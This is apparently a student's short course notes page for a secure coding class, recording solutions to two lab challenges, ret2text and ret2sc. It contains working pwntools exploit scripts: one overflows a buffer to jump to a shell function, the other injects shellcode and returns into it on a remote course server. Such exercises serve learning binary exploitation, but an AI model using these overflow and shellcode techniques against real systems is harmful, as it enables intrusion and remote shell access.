---
# System prepended metadata

title: 2019/12/10
tags: [108 SecureCoding]

---

# 2019/12/10
###### tags: `108 SecureCoding`

- 完成 ta.foxo.tw 的 `ret2text`、`ret2sc`，並附上程式碼
>![](https://i.imgur.com/vCJUKk2.png)

>`ret2text`
```python=
from pwn import *
shell_add = 0x400638
#r = process("./ret2text")
r = remote("140.134.25.138",20001)
raw_input()
r.recvline()
r.sendline("a" * 0x18 + p64(shell_add))
r.interactive()
```
>`ret2sc`
```python=
from pwn import *

#r = process("./ret2sc")
raw_input()
r = remote("140.134.25.138", 20002)

r.recvuntil("ss : ")
add = int(r.recvline(), 16)
print hex(add)

context.arch = "amd64"
sc = shellcraft.sh()
sc = asm(sc)
lens = 0x60 - len(sc) + 0x8
r.sendline(sc + "a" * lens + p64(add))
r.interactive()

```